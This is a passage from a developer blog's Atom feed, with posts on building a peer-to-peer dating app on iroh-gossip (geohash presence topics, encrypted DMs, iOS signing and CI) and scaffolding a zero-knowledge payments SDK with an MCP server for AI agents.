<p>Trade-off: the master topic centralises discovery (everyone hits it once), but at least it&#39;s not a TLS-terminating tracker — just an iroh-gossip topic with the same security model as everything else. Same shape Monero uses for <a href="/blog/vanta_iroh_gossip_in_production/">Tor onion peer exchange</a>.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Xcode Cloud CI now installs Rust + Node + pnpm]]></title>
  <id>https://blog.skill-issue.dev/notes/cruiser-xcode-cloud-rust-toolchain/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/cruiser/commit/59e077f"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/cruiser-xcode-cloud-rust-toolchain/"/>
  <published>2026-03-11T19:19:32.000Z</published>
  <updated>2026-03-11T19:19:32.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="cruiser"/>
  <category term="ci"/>
  <category term="xcode-cloud"/>
  <content type="html"><![CDATA[<p>Spent an hour fighting Xcode Cloud CI for the Cruiser+ iOS build. The runner has Xcode and Homebrew but <strong>does not</strong> have Rust, Node, or pnpm preinstalled — and the default <code>ci_post_clone.sh</code> doesn&#39;t get them. Fixed with a tiny shell script that installs all three from scratch on every cold start (~90s overhead, acceptable).</p>
<p>Lesson: Xcode Cloud is fine for pure-Swift projects. For anything Tauri / iroh / Rust-with-iOS-bindings, GitHub Actions with <code>actions/runner-images:macos-14</code> gives you a consistent Rust toolchain in 8s instead of 90s. Switching the iOS lane next.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[The bundle ID rename saga]]></title>
  <id>https://blog.skill-issue.dev/notes/cruiser-bundle-id-rename-saga/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/cruiser/commit/1cc74bd"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/cruiser-bundle-id-rename-saga/"/>
  <published>2026-03-11T18:54:35.000Z</published>
  <updated>2026-03-11T18:54:35.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="cruiser"/>
  <category term="ios"/>
  <category term="bundle-id"/>
  <category term="tribal-knowledge"/>
  <content type="html"><![CDATA[<p>Three commits in 5 minutes:</p>
<ul>
<li><code>4e67803</code> rename bundle ID to <code>com.cruiserplus.app</code></li>
<li><code>1cc74bd</code> rename bundle ID to <code>com.cruisergay.app</code>, fix RGBA icons</li>
<li><code>2eed5f8</code> fix Cruiser+ name in Xcode project</li>
</ul>
<p>Lesson: Apple&#39;s review process treats <code>cruiserplus</code> and <code>cruisergay</code> very differently. The first review came back asking us to &quot;clarify the app&#39;s audience&quot;; the second flew through. Names matter at the App Store layer in ways developers don&#39;t expect.</p>
<p>Side bonus: Apple&#39;s icon validator rejects PNGs with an alpha channel (&quot;transparency is not allowed for app icons&quot;). One-line <code>convert in.png -background black -alpha remove icon.png</code> fixes it.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Phase 29: iOS via CoreLocation + code signing]]></title>
  <id>https://blog.skill-issue.dev/notes/cruiser-ios-coreloc-codesigning/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/cruiser/commit/ad997d2"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/cruiser-ios-coreloc-codesigning/"/>
  <published>2026-03-11T18:34:37.000Z</published>
  <updated>2026-03-11T18:34:37.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="cruiser"/>
  <category term="ios"/>
  <category term="code-signing"/>
  <category term="tauri"/>
  <content type="html"><![CDATA[<p>Cruiser+ is now a real iOS app. The location stack uses CoreLocation directly (not the cross-platform Tauri location plugin — too generic, too much overhead) for the gay/leather venue heatmap. Two-finger pinch + 60Hz scroll on the map; the latter required <code>UIScrollView.decelerationRate = .fast</code>.</p>
<p>Code signing took the longest. App Store distribution needs a <em>Distribution</em> certificate, not the <em>Development</em> one Xcode auto-creates; provisioning profile for the bundle ID needs explicit &quot;App Store&quot; capability; entitlements file needs <code>com.apple.developer.location.always-and-when-in-use</code>. None of this is documented in one place.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Building the Zera SDK: Day One]]></title>
  <id>https://blog.skill-issue.dev/blog/zera_sdk_scaffolding/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/zera_sdk_scaffolding/"/>
  <published>2026-03-05T21:54:29.000Z</published>
  <updated>2026-03-05T21:57:04.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zera"/>
  <category term="typescript"/>
  <category term="rust"/>
  <category term="sdk"/>
  <category term="zk"/>
  <category term="poseidon"/>
  <category term="mcp"/>
  <category term="solana"/>
  <summary type="html"><![CDATA[Sixteen commits in fourteen minutes. The first day of the @zera-labs/sdk monorepo — Rust core via neon-rs, TypeScript scaffolding, Poseidon, Merkle trees, ZK provers, and an MCP server for AI agents.]]></summary>
  <content type="html"><![CDATA[<blockquote>
<p>&quot;init monorepo structure&quot;</p>
</blockquote>
<p>That commit message — <a href="https://github.com/Dax911/zera-sdk/commit/af8cc28644e055bebc6e6688c3b7d534aca5b202"><code>af8cc28</code></a>, 2026-03-05T21:54:29Z — is when the Zera SDK began. Sixteen commits later, fourteen minutes after, the scaffolding was done: a Rust crate, a Neon native binding, a TypeScript SDK with Poseidon + Merkle + provers + transaction builders, and an MCP server. The whole arc is visible on <a href="https://github.com/Dax911/zera-sdk/commits/main">the commit log</a> — every commit dated within the same minute, every commit doing exactly one thing.</p>
<p>This post is about how the day-one scaffolding was structured, why I split it into 16 atomic commits, and what each piece actually does.</p>
<h2>The shape of the monorepo</h2>
<p>Three packages from the start:</p>
<pre><code>packages/
  zera-core/      # Rust crate — circuit-aligned crypto primitives
  zera-bindings/  # Neon-rs node bindings exposing zera-core to JS
  sdk/            # @zera-labs/sdk — TypeScript SDK
  mcp-server/     # @zera-labs/mcp-server — MCP tools for AI agents
</code></pre>
<p>The reason <code>zera-core</code> exists in Rust is that the on-chain Solana program is also in Rust, and the SDK has to compute Poseidon commitments and Groth16 proof formatting <em>exactly</em> the way the on-chain verifier does. JS and Rust agreeing on a 254-bit field element is the kind of thing that goes wrong silently. Moving the canonical implementation to Rust and exposing it to JS via Neon kept the two halves bitwise consistent.</p>
<p>The TypeScript SDK is what 95% of users will touch. The MCP server is the bet that the next class of &quot;user&quot; will be an AI agent, not a human in a wallet popup.</p>
<h2>Atomic commits as a design discipline</h2>
<p>If you scan the <a href="https://github.com/Dax911/zera-sdk/commits/main">commit log</a>, you&#39;ll see this pattern from <code>af8cc28</code> through <code>e350707</code>:</p>
<pre><code>af8cc286  init monorepo structure
7ba37e6e  add zera-core rust crate
d605b930  add neon-rs node bindings for zera-core
4aaa8def  add ts sdk package scaffolding + crypto primitves
26f77955  add note mgmt, merkle tree, pda helpers, utils
f713bb3f  add zk prover + voucher system
cd518d5a  add transaction builders for deposit/withdraw/transfer
0debc6af  add tree state client for fetching merkle tree from chain
f4beda30  add ZeraClient high-level wrapper + NoteStore
27786470  update barrel exports w new modules
d150f829  add mcp server package for ai agent integration
98bc0a88  add core sdk documentation
dc2937ae  add agentic integration guide + use cases
af03daf2  add examples, security doc, and current status analysis
</code></pre>
<p>Each commit is one logical concept and nothing else. The reason this matters: when you&#39;re scaffolding a 200-file SDK in a single session, the sane way to bisect a regression two months later is to <code>git revert</code> a single concept. If the Merkle tree breaks, you revert <code>26f77955</code>. If the prover wires wrongly, you revert <code>f713bb3f</code>. If you ship the whole thing as one mega-commit, you can&#39;t isolate.</p>
<p>It also makes the SDK reviewable. There&#39;s no &quot;Initial commit (12,000 lines).&quot; You can read it in 14 minutes the way I wrote it in 14 minutes.</p>
<h2>The crypto layer</h2>
<p>The cryptographic foundation is in <a href="https://github.com/Dax911/zera-sdk/blob/4aaa8def935c617cb447040bb6cb6f22aeefbf4e/packages/sdk/src/crypto/poseidon.ts"><code>packages/sdk/src/crypto/poseidon.ts</code></a>. Poseidon is the hash function we use everywhere — for note commitments, for Merkle nodes, for nullifiers. It&#39;s circuit-friendly, which means it&#39;s cheap to prove inside a Groth16 circuit. SHA-256 inside a circuit is <em>thousands</em> of constraints. Poseidon is dozens.</p>
<pre><code class="language-ts">import { buildPoseidon } from &quot;circomlibjs&quot;;

let poseidonInstance: any = null;

export async function getPoseidon(): Promise&lt;any&gt; {
  if (!poseidonInstance) poseidonInstance = await buildPoseidon();
  return poseidonInstance;
}

export async function poseidonHash(inputs: bigint[]): Promise&lt;bigint&gt; {
  const poseidon = await getPoseidon();
  const hash = poseidon(inputs.map((v: bigint) =&gt; poseidon.F.e(v)));
  return BigInt(poseidon.F.toObject(hash));
}

export async function poseidonHash2(left: bigint, right: bigint): Promise&lt;bigint&gt; {
  return poseidonHash([left, right]);
}
</code></pre>
<p>The singleton is load-bearing. <code>buildPoseidon</code> initializes WASM that takes ~80ms cold. If every Merkle node hash had to spin that up, building a tree with <code>TREE_HEIGHT = 24</code> would take 30 seconds.</p>
<h2>Notes are bigints all the way down</h2>
<p>From <a href="https://github.com/Dax911/zera-sdk/blob/4aaa8def935c617cb447040bb6cb6f22aeefbf4e/packages/sdk/src/types.ts"><code>types.ts</code></a>:</p>
<pre><code class="language-ts">export interface Note {
  amount:   bigint;
  asset:    bigint;
  secret:   bigint;
  blinding: bigint;
  memo:     [bigint, bigint, bigint, bigint];
}

export interface StoredNote extends Note {
  commitment: bigint;
  nullifier:  bigint;
  leafIndex:  number;
}
</code></pre>
<p>Every field is a <code>bigint</code>. The reason: every field has to be reducible mod BN254 prime to enter a circuit, and that&#39;s a 254-bit operation. JS <code>Number</code> is 53 bits. Using <code>bigint</code> from day one means every constant in the SDK is correct as written:</p>
<pre><code class="language-ts">export const BN254_PRIME = BigInt(
  &quot;21888242871839275222246405745257275088548364400416034343698204186575808495617&quot;,
);
</code></pre>
<p>The cost of <code>bigint</code> everywhere is that you can&#39;t <code>Math.max</code> your way out of a comparison. The benefit is that you can never lose a low bit by accident.</p>
<h2><code>createNote</code>: the most important six lines</h2>
<pre><code class="language-ts">function randomFieldElement(): bigint {
  const bytes = randomBytes(31); // 248 bits – safely below the 254-bit prime
  const value = BigInt(&quot;0x&quot; + bytes.toString(&quot;hex&quot;));
  return value % BN254_PRIME;
}

export function createNote(amount, asset, memo?): Note {
  return {
    amount, asset,
    secret:   randomFieldElement(),
    blinding: randomFieldElement(),
    memo:     memo ?? [0n, 0n, 0n, 0n],
  };
}
</code></pre>
<p>The note&#39;s <code>secret</code> is what derives the nullifier. If you can predict it, you can predict the nullifier, and your transaction is forensically linkable. Sampling 248 bits and reducing mod the BN254 prime is the standard recipe; sampling 256 bits would bias the distribution slightly toward small field elements after the modular reduction.</p>
<h2>Transaction builders: the SDK&#39;s actual surface area</h2>
<p>From <a href="https://github.com/Dax911/zera-sdk/blob/cd518d5ace208ebebf5852ed38c8dff11b6d23b4/packages/sdk/src/tx/deposit.ts"><code>tx/deposit.ts</code></a>:</p>
<pre><code class="language-ts">export function buildDepositTransaction(params: DepositParams): Transaction {
  const { payer, mint, amount, commitment, proof, publicInputs, programId } = params;
  // Derive PDAs
  const [poolConfig] = derivePoolConfig(mint, programId);
  const [merkleTree] = deriveMerkleTree(mint, programId);
  const [vault]      = deriveVault(mint, programId);
  // ...
}
</code></pre>
<p>Three transaction builders: <code>buildDepositTransaction</code>, <code>buildWithdrawTransaction</code>, <code>buildTransferTransaction</code>. Each one consumes a Groth16 proof + commitment, derives the right PDAs, and returns an unsigned <code>Transaction</code>. The signing is intentionally not the SDK&#39;s job. That&#39;s the wallet&#39;s job, and embedding signing in an SDK is what gives you a tarball of leaked keys six months later.</p>
<h2>ZeraClient: the high-level wrapper</h2>
<p>By the time we got to <code>f4beda30 — add ZeraClient high-level wrapper + NoteStore</code>, the lower-level pieces were composable enough that one class could orchestrate them. The wrapper takes a config:</p>
<pre><code class="language-ts">export interface ZeraClientConfig {
  rpcUrl: string;
  programId?: string;
  circuits: {
    deposit:  CircuitPaths;
    withdraw: CircuitPaths;
    transfer: CircuitPaths;
  };
  noteStore?: NoteStore;
  cacheEndpoint?: string;
}
</code></pre>
<p>…and exposes one method per high-level operation. <code>client.deposit(amount, mint)</code>, <code>client.withdraw(commitment)</code>, <code>client.transfer(amount, recipient)</code>. Behind each method is the pipeline: fetch tree state → load relevant circuit WASM → prove → build tx → return unsigned <code>Transaction</code> for the wallet to sign.</p>
<p><code>NoteStore</code> is an interface with one default in-memory implementation and a contract that says &quot;if you persist notes, you&#39;re responsible for not leaking them.&quot; Most consumers will plug an encrypted file backend. The wallet demo plugs Tauri&#39;s filesystem with Argon2id-derived keys; we&#39;ll get to that in <a href="/blog/zera_wallet_v3_zkp/">the Zera Wallet v3 post</a>.</p>
<h2>MCP: betting on agents</h2>
<p>The most experimental thing on day one was <code>@zera-labs/mcp-server</code>. From <a href="https://github.com/Dax911/zera-sdk/blob/d150f8294dca2bdcfd4f3b38da53b346aef64773/packages/mcp-server/src/index.ts"><code>packages/mcp-server/src/index.ts</code></a>:</p>
<pre><code class="language-ts">const server = new McpServer({ name: &quot;zera-protocol&quot;, version: &quot;0.1.0&quot; });

server.tool(
  &quot;zera_deposit&quot;,
  &quot;Deposit USDC into the ZERA shielded pool. Funds become private and untraceable after deposit.&quot;,
  {
    amount: z.number().positive().describe(&quot;Amount of USDC to deposit (e.g., 100.50)&quot;),
    memo:   z.string().optional().describe(&quot;Optional memo for your records (stored privately, never on-chain)&quot;),
  },
  async ({ amount, memo }) =&gt; { /* … */ },
);
</code></pre>
<p>If the only thing that talks to your protocol is wallets, your TAM is &quot;humans who installed an extension.&quot; If MCP-connected agents can also call your protocol, your TAM is &quot;every Claude/Cursor/Cline session anyone runs.&quot; That&#39;s a 100× delta. The bet is cheap — <code>mcp-server</code> is one ~400-line file plus the SDK it depends on. If agents end up <em>not</em> using zk-shielded pools, I lose 400 lines. If they do, I get there first.</p>
<h2>Trade-offs</h2>
<p><strong>Why circomlibjs instead of a hand-rolled Poseidon?</strong> Because circomlib is the canonical implementation that the circuits are written against. Re-implementing Poseidon for the host is exactly the kind of &quot;I&#39;ll save 50ms&quot; choice that fails an end-to-end test in week three.</p>
<p><strong>Why Neon instead of WASM for <code>zera-core</code>?</strong> Because the SDK ships to Node and to a Tauri webview, both of which natively support <code>.node</code> files. WASM would have meant another loader, another fetch, another async boundary. Neon is one <code>require</code>.</p>
<p><strong>Why ship the MCP server in the same monorepo?</strong> Because the moment you give it its own repo, it falls behind on SDK changes. Same monorepo, same <code>pnpm-workspace.yaml</code>, same lockfile. One <code>pnpm install</code> and you&#39;re done.</p>
<h2>What this taught me</h2>
<p>Atomic commits are the difference between an SDK that&#39;s reviewable and an SDK that&#39;s trusted. Every dependency relationship in the scaffolding above is one-directional and one-commit-at-a-time. That&#39;s why the <code>144-test test suite</code> (<a href="https://github.com/Dax911/zera-sdk/commit/809274f5d2f8d3708cb09f6a353fec889994d59c"><code>80927</code></a>) that landed three weeks later could be written without rewriting any of the underlying code — see <a href="/blog/zera_sdk_test_suite/">the next post</a>.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/zera-sdk">zera-sdk on GitHub</a></li>
<li><a href="https://github.com/Dax911/zera-sdk/commits/main">The 16-commit scaffolding sequence</a></li>
<li><a href="https://github.com/iden3/circomlibjs">circomlibjs — Poseidon implementation</a></li>
<li><a href="https://neon-bindings.com/">Neon — Rust ↔ Node bindings</a></li>
<li><a href="https://modelcontextprotocol.io/">Model Context Protocol</a> — the spec MCP servers implement.</li>
<li><a href="/blog/a_better_crypto/">Building A Better Cryptocurrency</a> — the privacy thesis these primitives implement.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Security doc + status analysis for the SDK]]></title>
  <id>https://blog.skill-issue.dev/notes/zera-sdk-security-doc/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/zera-sdk/commit/af03daf"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/zera-sdk-security-doc/"/>
  <published>2026-03-05T21:57:04.000Z</published>
  <updated>2026-03-05T21:57:04.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="zera-sdk"/>
  <category term="security"/>
  <category term="docs"/>
  <content type="html"><![CDATA[<p>Wrote up the <a href="https://github.com/Dax911/zera-sdk/blob/main/SECURITY.md">SECURITY.md</a> plus a &quot;current status&quot; analysis. The status analysis is the doc I wish more crypto SDKs shipped: an honest table of what&#39;s audited, what&#39;s not, and what&#39;s &quot;implemented but please don&#39;t run this in production yet&quot;.</p>
<p>The threat model section is short. Three lines:</p>
<ol>
<li>The SDK assumes the host machine is not compromised.</li>
<li>The SDK does not protect against rubber-hose cryptanalysis.</li>
<li>Anyone running this on devnet, sweet. Anyone running this with mainnet money, talk to me first.</li>
</ol>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[MCP server package for AI-agent integration]]></title>
  <id>https://blog.skill-issue.dev/notes/zera-sdk-mcp-server-ai-agents/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/zera-sdk/commit/d150f82"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/zera-sdk-mcp-server-ai-agents/"/>
  <published>2026-03-05T21:56:44.000Z</published>
  <updated>2026-03-05T21:56:44.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="zera-sdk"/>
  <category term="mcp"/>
  <category term="ai-agents"/>
  <content type="html"><![CDATA[<p>Shipped <code>@zera-sdk/mcp</code> — a <a href="https://modelcontextprotocol.io/">Model Context Protocol</a> server that exposes the SDK&#39;s note/commitment/nullifier API as a JSON-RPC tool surface. AI agents (Claude, GPT, etc.) can now <code>mintNote</code>, <code>transferShielded</code>, <code>verifyProof</code> directly without learning the wire format.</p>
<p>Asymmetric tool surface design: the MCP exposes only <strong>read</strong> + <strong>simulate</strong> by default. Mutating calls require an explicit <code>--allow-mutations</code> flag at server start. Discussed in detail in <a href="/papers/asymmetric-tool-surfaces/">the asymmetric-tool-surfaces paper</a>.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[ZeraClient + NoteStore high-level wrapper]]></title>
  <id>https://blog.skill-issue.dev/notes/zera-sdk-zeraclient-notestore/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/zera-sdk/commit/f4beda3"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/zera-sdk-zeraclient-notestore/"/>
  <published>2026-03-05T21:56:28.000Z</published>
  <updated>2026-03-05T21:56:28.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="zera-sdk"/>
  <category term="api-design"/>
  <content type="html"><![CDATA[<p>The bottom-up SDK API was great for crypto folks but hostile to first-time users. Added <code>ZeraClient</code> — a single class that wraps RPC, prover, and note storage behind ergonomic methods like <code>client.send({ to, amount })</code> and <code>client.balance()</code>.</p>
<p><code>NoteStore</code> is the persistence layer: by default in-memory, optionally backed by IndexedDB (browser) or SQLite (node). The contract is small: <code>add(note)</code>, <code>markSpent(nf)</code>, <code>unspentNotes()</code>, <code>findByCommitment(cm)</code>. Three implementations slot in interchangeably.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Tree-state client: fetch the Merkle tree from chain]]></title>
  <id>https://blog.skill-issue.dev/notes/zera-sdk-tree-state-client/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/zera-sdk/commit/0debc6a"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/zera-sdk-tree-state-client/"/>
  <published>2026-03-05T21:56:22.000Z</published>
  <updated>2026-03-05T21:56:22.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="zera-sdk"/>
  <category term="merkle"/>
  <category term="rpc"/>
  <content type="html"><![CDATA[<p>The wallet needs the Merkle root to generate proofs, and ideally the full tree to scan for owned notes. Added <code>TreeStateClient</code> that pulls compressed-account state from a Photon RPC, reconstructs the depth-32 Poseidon tree client-side, and verifies the on-chain root matches.</p>
<p>Performance: 50K notes reconstructs in ~400ms. Above ~1M and the wallet should switch to lazy path-fetching (only request the path for the leaf you&#39;re spending). That&#39;s a future commit.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Cruiser: A Tauri Hookup App on iroh, Geohash-Bucketed Presence, and Why P2P Dating Is Actually Fine]]></title>
  <id>https://blog.skill-issue.dev/blog/cruiser_iroh_gossip_p2p/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/cruiser_iroh_gossip_p2p/"/>
  <published>2026-02-26T15:15:06.000Z</published>
  <updated>2026-02-26T18:57:11.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="cruiser"/>
  <category term="tauri"/>
  <category term="iroh"/>
  <category term="p2p"/>
  <category term="gossip"/>
  <category term="rust"/>
  <category term="geohash"/>
  <category term="solana"/>
  <summary type="html"><![CDATA[A Tauri 2 + React + iroh-gossip dating app where peers find each other by geohash, broadcast presence on a topic-per-bucket, and DM each other with consent signals — all without a central server. The architecture is the product.]]></summary>
  <content type="html"><![CDATA[<p>The dating app market in 2026 is two things: dystopian centralized platforms (Match Group&#39;s stable: Tinder, Hinge, OkCupid, etc.) and crypto-bro-coded alternatives that promise decentralization but ship a Mongo cluster behind the API. Neither is what the queer community I built Cruiser for actually wanted. They wanted <strong>a dating app where the only servers were the participants&#39; own devices</strong>, where presence was bucketed by location without any single party seeing all locations, and where the wallet was the identity but the wallet wasn&#39;t a custody surface.</p>
<p>Cruiser shipped on 2026-02-26 in <a href="https://github.com/Dax911/cruiser/commit/4cecbd4cf64fe2bdcd44f0aa3b6db83b1ebd3a05"><code>4cecbd4 — Cruiser: P2P hookup app — Phases 1–26</code></a>. 89 files. ~20,000 lines. Tauri 2.x for the desktop wrapper, React 18 + Zustand for the UI, <a href="https://github.com/n0-computer/iroh">iroh-gossip</a> for the P2P transport, Solana for the wallet/payment rails. The full mono-commit is the result of 26 phases of design + implementation that I&#39;d been working on locally, then squashed into one commit before pushing.</p>
<p>This post is about the gossip-presence architecture in particular, because that&#39;s where the &quot;no servers&quot; promise actually has to be defended.</p>
<h2>The geohash topic split</h2>
<p>iroh-gossip is a publish/subscribe protocol over a peer-mesh, with content-addressed <code>TopicId</code>s. Every peer that subscribes to a <code>TopicId</code> joins the same gossip mesh and exchanges messages. The naive thing is to use <em>one</em> topic for the whole app — <code>cruiser/v1</code> — and broadcast every presence announce to every peer.</p>
<p>This is a privacy disaster. It means every peer sees every other peer&#39;s broadcast, including their location. The architecture that ships in Cruiser is per-geohash topics:</p>
<pre><code class="language-rust">// src-tauri/src/gossip_presence.rs
const AREA_TOPIC_PREFIX: &amp;str = &quot;cruiser/area/v1/&quot;;

let topic_bytes = location::topic_from_geohash(AREA_TOPIC_PREFIX, geohash6);
let topic_id = TopicId::from_bytes(topic_bytes);
</code></pre>
<p>The topic is <code>cruiser/area/v1/&lt;geohash6&gt;</code>. <strong>Every 6-character geohash bucket is its own topic.</strong> A geohash6 covers approximately a 1.2 km × 0.6 km area — small enough to be a single neighborhood, large enough to have actual users in it. Two peers join the same topic only if they&#39;re in the same geohash6 bucket.</p>
<p>This is the privacy architecture in one decision: <strong>you can only see the presence of peers who chose to be visible in the same geographic bucket as you.</strong> A peer in San Francisco can&#39;t see a peer in Berlin&#39;s gossip. Even within a city, a peer in the Mission can&#39;t see a peer in the Castro, because those are different geohash6 buckets.</p>
<p>The cost of this design: peers walk between geohash6 boundaries (you cross a street, you&#39;re in a new bucket). The app handles this by <em>leaving</em> the old topic and <em>joining</em> the new one whenever the user&#39;s geohash6 changes. That&#39;s the lifecycle the <code>ActiveArea</code> struct manages:</p>
<pre><code class="language-rust">pub struct ActiveArea {
    pub topic_id: TopicId,
    pub geohash6: String,
    pub sender: Arc&lt;GossipSender&gt;,
    broadcast_handle: JoinHandle&lt;()&gt;,
    receive_handle: JoinHandle&lt;()&gt;,
    reaper_handle: JoinHandle&lt;()&gt;,
}

impl ActiveArea {
    pub fn leave(self) {
        self.broadcast_handle.abort();
        self.receive_handle.abort();
        self.reaper_handle.abort();
    }
}
</code></pre>
<p><code>leave</code> aborts all three Tokio tasks — broadcast loop, receive loop, peer-cache reaper — and drops the topic subscription. The next location update triggers a <code>join_gossip_area</code> for the new geohash, and the cycle repeats.</p>
<h2>The three tasks per area</h2>
<p>Every joined area spawns:</p>
<ol>
<li><strong>A broadcast task</strong> that sends a <code>PresenceAnnounce</code> (your profile snippet, your endpoint ID, your tags) every 30 seconds.</li>
<li><strong>A receive task</strong> that handles incoming announces and updates a local <code>PeerCache</code>.</li>
<li><strong>A reaper task</strong> that runs every 60 seconds and evicts peers that haven&#39;t announced in 90 seconds.</li>
</ol>
<pre><code class="language-rust">const BROADCAST_INTERVAL_SECS: u64 = 30;
const REAPER_INTERVAL_SECS: u64 = 60;
</code></pre>
<p>The 30s broadcast / 90s eviction (= reap if no announce in 3 broadcasts) gives you a &quot;go offline within 90s&quot; guarantee. If a peer disconnects from WiFi, walks out of range, or quits the app, every other peer&#39;s view of them ages out within a minute and a half. No central server needed to mark them offline.</p>
<p>This is the <em>whole</em> mechanism for &quot;who&#39;s online right now in your area.&quot; There is no <code>presence-server.cruiser.app/online</code>. The presence is the gossip itself.</p>
<h2>What an announce looks like</h2>
<pre><code class="language-rust">// src-tauri/src/presence.rs (simplified)
#[derive(Serialize, Deserialize, Clone)]
pub struct PresenceAnnounce {
    pub endpoint_id: String,    // iroh node ID — the P2P address
    pub geohash6: String,       // your bucket (intentionally redundant for receivers)
    pub display_name: String,
    pub avatar_hash: String,    // CID of avatar image; sender mirrors via iroh-blobs
    pub bio_short: String,      // ~80 chars max
    pub energy: String,         // a profile field — &quot;🔥 high energy&quot;, &quot;🌙 chill&quot;, etc.
    pub tags: Vec&lt;String&gt;,      // user-set tags for search/filter
    pub last_seen_ms: u64,      // sender&#39;s local clock at announce time
    pub signature: String,      // ed25519 sig over the rest, by the user&#39;s identity key
}
</code></pre>
<p>A few interesting design calls:</p>
<p><strong>Avatar by CID, not inlined.</strong> The avatar is a hash; the actual image bytes are fetched via <a href="https://docs.rs/iroh-blobs/">iroh-blobs</a> on a separate transport from the gossip topic. Inlining the avatar would balloon every announce to ~50KB and make the gossip topic unreasonably noisy. CID + lazy fetch is ~256 bytes per announce.</p>
<p><strong><code>signature</code> is the integrity surface.</strong> Every announce is signed by the user&#39;s identity key. A peer receiving an announce verifies the signature before adding to the peer cache. Without this, anyone could broadcast an announce claiming to be anyone else; with it, an impostor announce is detected and dropped.</p>
<p><strong><code>last_seen_ms</code> is the announcer&#39;s clock.</strong> Not a synchronized clock. The receiver uses this for &quot;rough freshness&quot; but not for anti-replay — anti-replay is handled by the iroh-gossip layer&#39;s own message dedup based on content hash + topic.</p>
<h2>Direct messages: a separate topic per pair</h2>
<p>DMs work the same way, with a different topic shape. From <code>src-tauri/src/gossip_dm.rs</code>:</p>
<pre><code>cruiser/dm/v1/&lt;sorted-endpoint-id-pair&gt;
</code></pre>
<p>The endpoint IDs of the two peers are sorted lexicographically and concatenated. Both peers compute the same topic ID. Joining the topic establishes a 2-peer gossip mesh. Messages are encrypted with <code>nacl.box</code> (XSalsa20-Poly1305) using the peers&#39; x25519 keys, derived from their ed25519 identity keys.</p>
<p>The threat model:</p>
<ul>
<li><strong>An eavesdropper on the gossip mesh</strong> sees the topic ID (which is opaque without the endpoint IDs that produced it) and ciphertext. They learn nothing about the participants or content.</li>
<li><strong>A passive observer of the iroh DHT</strong> sees the two endpoint IDs subscribing to a common topic, which leaks &quot;these two people are in a DM&quot; but not the content. Acceptable; DMs in any system leak metadata at this level.</li>
<li><strong>A man-in-the-middle</strong> can&#39;t insert messages because they&#39;re encrypted with <code>nacl.box</code> keyed to the receiver&#39;s pubkey. They can&#39;t drop messages without the sender noticing (no acks, but the ordering would be visibly wrong).</li>
</ul>
<p>The DM topic also handles tips, consent signals, location sharing, typing indicators, read receipts, and emoji reactions. All of those are just message variants in the same encrypted topic — there&#39;s no separate channel for them. The reason: a separate channel for &quot;I&#39;m typing&quot; would itself leak the metadata &quot;person A is typing to person B&quot; without authentication. Folding everything into the encrypted DM topic eliminates that side channel.</p>
<h2>Why iroh-gossip and not libp2p</h2>
<p>I evaluated three P2P stacks before landing on iroh:</p>
<ul>
<li><strong>libp2p (Rust):</strong> the de-facto standard. Powerful, but operationally heavy — DHT, NAT traversal, transports, and a non-trivial topology config. It&#39;s overkill for a single-purpose app.</li>
<li><strong>GossipSub (libp2p):</strong> the gossip protocol within libp2p. Closer to what I needed, but still requires the full libp2p stack as host.</li>
<li><strong>iroh + iroh-gossip:</strong> purpose-built for &quot;P2P Rust app needs gossip.&quot; Smaller surface area, batteries-included relay/DHT/NAT-traversal via iroh&#39;s hosted public infrastructure. Subjectively faster to ship.</li>
</ul>
<p>iroh hosts a public relay infrastructure (<code>relay.iroh.network</code>) that handles NAT traversal and STUN-style address discovery. Most home users are behind NAT, so without relay infrastructure most P2P apps don&#39;t work in practice. iroh&#39;s relay is opt-in and free for development; that&#39;s what I used.</p>
<p>The trade-off: <strong>iroh is younger than libp2p</strong>, the API surface is still moving, and the network effects are smaller (fewer peer apps to interop with). For Cruiser this is fine — there are no peer apps it needs to interop with — but for a project that wanted to join the existing libp2p universe, iroh would be the wrong call.</p>
<h2>CoreLocation, IP fallback, and the geolocation rabbit-hole</h2>
